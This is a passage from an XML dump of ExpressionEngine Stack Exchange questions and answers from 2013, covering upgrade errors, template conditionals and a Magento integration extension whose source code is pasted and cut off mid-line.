  <row Id="14956" PostTypeId="2" ParentId="14904" CreationDate="2013-10-24T19:21:02.477" Score="0" Body="&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/template&quot; parent_category_id=&quot;{category_id}&quot; random}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;random&lt;/strong&gt; is prevent modules tag caching (if you have multiple calls tags with identical parameters and tag data)&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-24T19:21:02.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14957" PostTypeId="1" AcceptedAnswerId="14959" CreationDate="2013-10-24T21:16:09.087" Score="4" ViewCount="547" Body="&lt;p&gt;I upgraded from EE2.5.2 to EE2.7.2. I had the old individual P&amp;amp;T Dive Bar fields installed. I'm trying to upgrade to the new Field pack as per the instructions, but I can't access the Add-ons &gt; Fieldtypes screen due to the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in /var/www/vhosts/snip/subdomains/stage/system/expressionengine/third_party/pt_field_pack/pt_fieldtype.php on line 148 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I bypass / fix this error so I can install the new fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2013-11-08T22:24:11.833" Title="Trying to upgrade PT Fieldpack in EE 2.7.2" Tags="|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14958" PostTypeId="1" CreationDate="2013-10-24T21:29:21.790" Score="1" ViewCount="58" Body="&lt;p&gt;We recently updated a 255 install to 272. Things are working fine except we got an error when we first tried to add a new File Upload location under File Upload Preferences. The error was:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;A Database Error Occurred&#xA;Error Number: 1062&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate entry '4-5' for key 'PRIMARY'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;INSERT INTO &lt;code&gt;exp_upload_no_access&lt;/code&gt; (&lt;code&gt;upload_id&lt;/code&gt;, &lt;code&gt;upload_loc&lt;/code&gt;, &lt;code&gt;member_group&lt;/code&gt;) VALUES (4, 'cp', '5')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: controllers/cp/content_files.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 2338&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since that time, we have not been able to replicate this and it seems adding, editing and deleting locations is working ok. Is this something worth worrying about?&lt;/p&gt;&#xA;" OwnerUserId="2259" LastActivityDate="2013-10-24T21:47:04.873" Title="DB error when creating file upload location after 272 update" Tags="|file-uploads|database-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14959" PostTypeId="2" ParentId="14957" CreationDate="2013-10-24T21:35:40.540" Score="5" Body="&lt;p&gt;This could arguably be a duplicate of &lt;a href=&quot;https://expressionengine.stackexchange.com/q/13477/22&quot;&gt;this question&lt;/a&gt;, but it's a bit different because you're asking how to silence the error so you can finish the update per the &lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/installation.html#updating-from-the-old-dive-bar-fieldtypes&quot; rel=&quot;nofollow noreferrer&quot;&gt;P&amp;amp;T docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just ran into this today myself and had the same question! The solution is courtesy of &lt;a href=&quot;https://expressionengine.stackexchange.com/a/13498/22&quot;&gt;this answer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up &lt;strong&gt;pt_fieldtype.php&lt;/strong&gt; and below the constructor (around line 29) add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display_field($data)&#xA;{&#xA;    // This placeholder function will prevent the PHP error&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will prevent the error and allow you to get on with the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt; as Andris pointed out below, you can simply delete the old pt_fieldtype files and the error will go away so that you'll be able to install the new field pack.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-25T15:01:41.360" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14960" PostTypeId="2" ParentId="14958" CreationDate="2013-10-24T21:47:04.873" Score="1" Body="&lt;p&gt;Sounds like an odd error to run into. I'd say it was one off with the key index for that table and you will be fine from now on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned however, you can &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/rebuilding-tables.html&quot; rel=&quot;nofollow&quot;&gt;rebuild the table index&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To rebuild a table by dumping and reloading it, use mysqldump to&#xA;  create a dump file and mysql to reload the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shell&gt; mysqldump --all-databases &gt; dump.sql&#xA;shell&gt; mysql db_name &amp;lt; dump.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to the shell to perform this, try the following from PhpMyAdmin (or other DB control panel).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_upload_no_access ENGINE = MyISAM;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-24T21:47:04.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14961" PostTypeId="1" AcceptedAnswerId="15062" CreationDate="2013-10-24T21:57:26.257" Score="2" ViewCount="354" Body="&lt;p&gt;My client is experiencing a really weird issue.  When they are publishing or editing an entry with an Assets custom field it displays only a white box.  They experience this issue in both their limited access member account and in my account which is super admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I however do not experience this in both my clients account and my super admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client sees this issue on multiple computers, multiple browsers and again under both accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running EE 2.5.5, MSM 2.1.3 and Assets 2.2.1.&#xA;It is using basic config (EE default), EE suggested .htaccess with 5 301 redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the config I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = 'http://www.domain.com/';&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only stuff out of ordinary in the 2nd sites index.php is ce image related doc root and regex settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under console in Ghrome there are two errors; both are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Failed to load resource: the server responded with a status of 403 (Forbidden)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And seem to be dealing with Google Plus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what else to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2014-12-20T08:20:19.377" Title="Issue with Assets on Client end only" Tags="|assets|pixelandtonic|multi-site-manager|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14962" PostTypeId="1" CreationDate="2013-10-24T22:44:50.937" Score="0" ViewCount="139" Body="&lt;p&gt;When I use this conditional it works great, it activates the active state when I am in segment 1, however, at the same time it disables the other class on the li 'dropdown'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'dropdown' class is  positioning relative, when its disabled  the dropdown menu moves all the way to the right of the parent container. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is their a different conditional which will allow me to NOT DISABLE the 2nd class (dropdown)  on the il tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_1 == &quot;donate&quot;} class=&quot;active&quot;{/if} class=&quot;dropdown&quot;&gt;Donate&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-10-25T00:31:05.357" Title="Conditional disables needed class on &lt;li&gt; tag" Tags="|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14963" PostTypeId="2" ParentId="14962" CreationDate="2013-10-24T23:01:19.720" Score="5" Body="&lt;p&gt;Well, you're having an HTML issue, not an EECMS issue, because an element can't have more than one&lt;code&gt;class&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;{if segment_1 == &quot;donate&quot;}active {/if}dropdown&quot;&amp;gt;Donate&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can simple remove the &lt;code&gt;dropdown&lt;/code&gt; class and use a &lt;a href=&quot;http://www.w3.org/TR/CSS2/selector.html&quot;&gt;child selector or a descendant selector&lt;/a&gt;. Even for JavaScript, you don't need this class. You can do an Event delegation at its parentElement.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-10-25T00:31:05.357" LastActivityDate="2013-10-25T00:31:05.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14965" PostTypeId="1" AcceptedAnswerId="14969" CreationDate="2013-10-25T05:36:20.233" Score="0" ViewCount="424" Body="&lt;p&gt;Hello friends i am using magento and expression engine both in my site and for integration expression engine with magento i am using one module mage_integratee in that php file i get following error so how i can solve this errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1)&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: store&#xA;Filename: mage_integratee/ext.mage_integratee.php&#xA;Line Number: 138&#xA;&#xA;2) &#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: exclude&#xA;Filename: mage_integratee/ext.mage_integratee.php&#xA;Line Number: 153&#xA;&#xA;3)&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: require_once(/home/hst/domains/hst.uldev.co/public_html/Mage.php): failed to open stream: No such file or directory&#xA;Filename: mage_integratee/ext.mage_integratee.php&#xA;Line Number: 177&#xA;&#xA;4)&#xA;Fatal error: require_once(): Failed opening required '/home/hst/domains/hst.uldev.co/public_html/Mage.php' (include_path='.:/usr/local/lib/php') in /home/hst/domains/hst.uldev.co/public_html/a/system/expressionengine/third_party/mage_integratee/ext.mage_integratee.php on line 177 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i am using following php code in mage_integratee.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class Mage_integratee_ext {&#xA;&#xA;    var $name       = 'Mage Integratee';&#xA;    var $version        = '2.0.3';&#xA;    var $description    = 'Integrate Magento Layouts into ExpressionEngine Pages';&#xA;    var $settings_exist = 'y';&#xA;    var $docs_url       = ''; // 'http://expressionengine.com/user_guide/';&#xA;&#xA;    var $settings        = array();&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     * &#xA;     * @param   mixed   Settings array or empty string if none exist.&#xA;     */&#xA;    function __construct($settings='')&#xA;    {&#xA;        $this-&amp;gt;settings = $settings;&#xA;    }&#xA;    // END&#xA;&#xA;    /**&#xA;     * Activate Extension&#xA;     *&#xA;     * This function enters the extension into the exp_extensions table&#xA;     *&#xA;     * @see http://codeigniter.com/user_guide/database/index.html for&#xA;     * more information on the db class.&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function activate_extension()&#xA;    {&#xA;        $this-&amp;gt;settings = array(&#xA;            'mage'   =&amp;gt; $_SERVER['DOCUMENT_ROOT'],&#xA;            'head'  =&amp;gt; 'y',&#xA;            'after_body_start'  =&amp;gt; 'y',&#xA;            'global_notices'  =&amp;gt; 'y',&#xA;            'header'  =&amp;gt; 'y',&#xA;            'global_messages'  =&amp;gt; 'y',&#xA;            'left'  =&amp;gt; 'y',&#xA;            'right'  =&amp;gt; 'y',&#xA;            'footer'  =&amp;gt; 'y',&#xA;            'before_body_end'  =&amp;gt; 'y'&#xA;        );&#xA;&#xA;&#xA;        $data = array(&#xA;            'class'     =&amp;gt; __CLASS__,&#xA;            'method'    =&amp;gt; 'init_layout',&#xA;            'hook'      =&amp;gt; 'template_fetch_template',&#xA;            'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority'  =&amp;gt; 10,&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;    }&#xA;    // END&#xA;&#xA;    /**&#xA;     * Update Extension&#xA;     *&#xA;     * This function performs any necessary db updates when the extension&#xA;     * page is visited&#xA;     *&#xA;     * @return  mixed   void on update / false if none&#xA;     */&#xA;    function update_extension($current = '')&#xA;    {&#xA;        if ($current == '' OR $current == $this-&amp;gt;version)&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        if ($current &amp;lt; '2.0.0')&#xA;        {&#xA;            // Update to version 1.0&#xA;        }&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        ee()-&amp;gt;db-&amp;gt;update(&#xA;                    'extensions',&#xA;                    array('version' =&amp;gt; $this-&amp;gt;version)&#xA;        );&#xA;    }&#xA;    // END&#xA;&#xA;    /**&#xA;     * Disable Extension&#xA;     *&#xA;     * This method removes information from the exp_extensions table&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function disable_extension()&#xA;    {&#xA;        ee()-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        ee()-&amp;gt;db-&amp;gt;delete('extensions');&#xA;    }&#xA;    // END&#xA;&#xA;    // --------------------------------&#xA;    //  Settings&#xA;    // --------------------------------&#xA;&#xA;    function settings()&#xA;    {&#xA;        $settings = array();&#xA;&#xA;        $settings['mage']      = array('i', '', &quot;&quot;);&#xA;        $settings['store']      = array('i', '', &quot;&quot;);&#xA;        $settings['exclude']      = array('i', '', &quot;&quot;);&#xA;        $settings['head']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['after_body_start']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['global_notices']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['header']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['global_messages']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['left']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['right']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['footer']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;        $settings['before_body_end']      = array('r', array('y' =&amp;gt; &quot;Yes&quot;, 'n' =&amp;gt; &quot;No&quot;), 'y');&#xA;&#xA;        return $settings;&#xA;    }&#xA;    // END&#xA;&#xA;    // --------------------------------&#xA;    //  Initialize Layout&#xA;    // --------------------------------&#xA;&#xA;    function init_layout($row)&#xA;    {&#xA;&#xA;        $mageRunCode = $this-&amp;gt;settings['store'];&#xA;        $mageRunType = &quot;store&quot;;&#xA;&#xA;        if(isset( ee()-&amp;gt;config-&amp;gt;_global_vars['MAGE_INTEGRATEE_RUN_CODE']))&#xA;        {&#xA;            $mageRunCode = ee()-&amp;gt;config-&amp;gt;_global_vars['MAGE_INTEGRATEE_RUN_CODE'];&#xA;        }&#xA;&#xA;        if(isset( ee()-&amp;gt;config-&amp;gt;_global_vars['MAGE_INTEGRATEE_RUN_TYPE']))&#xA;        {&#xA;            $mageRunType = ee()-&amp;gt;config-&amp;gt;_global_vars['MAGE_INTEGRATEE_RUN_TYPE'];&#xA;        }&#xA;&#xA;        //print_r(ee()-&amp;gt;config);&#xA;&#xA;        if($this-&amp;gt;settings['exclude'] != &quot;&quot;)&#xA;        {&#xA;            if (strpos($this-&amp;gt;settings['exclude'], $row['group_name']) !== FALSE)&#xA;            {&#xA;                return $row;&#xA;            }&#xA;        }&#xA;&#xA;        if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'mage'))&#xA;        {&#xA;&#xA;            if($this-&amp;gt;settings['mage'] === &quot;&quot;){&#xA;                return $row;&#xA;            } else {&#xA;              $mage = $this-&amp;gt;settings['mage'];&#xA;            }&#xA;&#xA;            if($mage[strlen($mage)-1] !== &quot;/&quot;){&#xA;                $mage .= &quot;/Mage.php&quot;;&#xA;            } else {&#xA;                $mage .= &quot;Mage.php&quot;;&#xA;            }&#xA;&#xA;            //Initialize Magento&#xA;            require_once $mage;&#xA;            Mage::app($mageRunCode,$mageRunType);&#xA;            Mage::getSingleton('core/session', array('name'=&amp;gt;'frontend'));&#xA;&#xA;            //Check if logged in&#xA;            if(Mage::getSingleton('customer/session')-&amp;gt;IsLoggedIn()){ &#xA;                //Load Layout Handles&#xA;                $layout = Mage::app()-&amp;gt;getLayout();&#xA;                $layout-&amp;gt;getUpdate()&#xA;                    -&amp;gt;addHandle('default')&#xA;                    -&amp;gt;addHandle('expressionengine_integratee')&#xA;                    -&amp;gt;addHandle('customer_logged_in')&#xA;                    -&amp;gt;load();&#xA;            }&#xA;            else&#xA;            { &#xA;                //Load Layout Handles&#xA;                $layout = Mage::app()-&amp;gt;getLayout();&#xA;                $layout-&amp;gt;getUpdate()&#xA;                    -&amp;gt;addHandle('default')&#xA;                    -&amp;gt;addHandle('expressionengine_integratee')&#xA;                    -&amp;gt;addHandle('customer_logged_out')&#xA;                    -&amp;gt;load();&#xA;            }&#xA;&#xA;            //Generate Blocks&#xA;            $layout-&amp;gt;generateXml()&#xA;                -&amp;gt;generateBlocks();&#xA;&#xA;            ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'mage', '1');&#xA;&#xA;            //Load Block Output and Create Global Variables&#xA;            if($this-&amp;gt;settings['head'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'head'))&#xA;                {&#xA;                    $head = $layout-&amp;gt;getBlock('head')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $head = str_replace('?___SID=U', '', $head);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:head'] = $head;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'head', $head);&#xA;                } else {&#xA;                    $head = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'head');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:head'] = $head;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['after_body_start'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'after_body_start'))&#xA;                {&#xA;                    $after_body_start = $layout-&amp;gt;getBlock('after_body_start')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $after_body_start = str_replace('?___SID=U', '', $after_body_start);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:after_body_start'] = $after_body_start;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'after_body_start', $after_body_start);&#xA;                } else {&#xA;                    $after_body_start = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'after_body_start');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:after_body_start'] = $after_body_start;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['global_notices'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_notices'))&#xA;                {&#xA;                    $global_notices = $layout-&amp;gt;getBlock('global_notices')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $global_notices = str_replace('?___SID=U', '', $global_notices);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:global_notices'] = $global_notices;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'global_notices', $global_notices);&#xA;                } else {&#xA;                    $global_notices = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_notices');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:global_notices'] = $global_notices;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['header'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'header'))&#xA;                {&#xA;                    $header = $layout-&amp;gt;getBlock('header')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $header = str_replace('?___SID=U', '', $header);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:header'] = $header;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'header', $header);&#xA;                } else {&#xA;                    $header = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'header');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:header'] = $header;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['global_messages'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_messages'))&#xA;                {&#xA;                    $global_messages = $layout-&amp;gt;getBlock('global_messages')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $global_messages = str_replace('?___SID=U', '', $global_messages);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:global_messages'] = $global_messages;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'global_messages', $global_messages);&#xA;                } else {&#xA;                    $global_messages = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_messages');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:global_messages'] = $global_messages;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['left'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'left'))&#xA;                {&#xA;                    $left = $layout-&amp;gt;getBlock('left')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $left = str_replace('?___SID=U', '', $left);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:left'] = $left;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'left', $left);&#xA;                } else {&#xA;                    $left = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'left');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:left'] = $left;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['right'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'right'))&#xA;                {&#xA;                    $right = $layout-&amp;gt;getBlock('right')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $right = str_replace('?___SID=U', '', $right);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:right'] = $right;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'right', $right);&#xA;                } else {&#xA;                    $right = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'right');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:right'] = $right;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['footer'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'footer'))&#xA;                {&#xA;                    $footer = $layout-&amp;gt;getBlock('footer')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $footer = str_replace('?___SID=U', '', $footer);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:footer'] = $footer;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'footer', $footer);&#xA;                } else {&#xA;                    $footer = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'footer');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:footer'] = $footer;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['before_body_end'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'before_body_end'))&#xA;                {&#xA;                    $before_body_end = $layout-&amp;gt;getBlock('before_body_end')-&amp;gt;setTitle(&quot;&quot;)-&amp;gt;toHtml();&#xA;                    $before_body_end = str_replace('?___SID=U', '', $before_body_end);&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:before_body_end'] = $before_body_end;&#xA;                    ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, 'before_body_end', $before_body_end);&#xA;                } else {&#xA;                    $before_body_end = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'before_body_end');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:before_body_end'] = $before_body_end;&#xA;                }&#xA;&#xA;            }&#xA;&#xA;            return $row;&#xA;&#xA;        } else {&#xA;&#xA;            //Load Block Output and Create Global Variables&#xA;            if($this-&amp;gt;settings['head'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'head'))&#xA;                {                  &#xA;                    $head = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'head');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:head'] = $head;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['after_body_start'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'after_body_start'))&#xA;                {&#xA;                    $after_body_start = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'after_body_start');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:after_body_start'] = $after_body_start;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['global_notices'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_notices'))&#xA;                {&#xA;                    $global_notices = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_notices');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:global_notices'] = $global_notices;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['header'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'header'))&#xA;                {&#xA;                    $header = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'header');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:header'] = $header;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['global_messages'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_messages'))&#xA;                {&#xA;                    $global_messages = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'global_messages');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:global_messages'] = $global_messages;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['left'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'left'))&#xA;                {&#xA;                    $left = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'left');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:left'] = $left;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['right'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'right'))&#xA;                {&#xA;                    $right = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'right');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:right'] = $right;&#xA;                }&#xA;&#xA;            }&#xA;            if($this-&amp;gt;settings['footer'] === &quot;y&quot;){&#xA;&#xA;                if ( ! ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'footer'))&#xA;                {&#xA;                    $footer = ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, 'footer');&#xA;                    ee()-&amp;gt;config-&amp;gt;_global_vars['mage:footer'] = 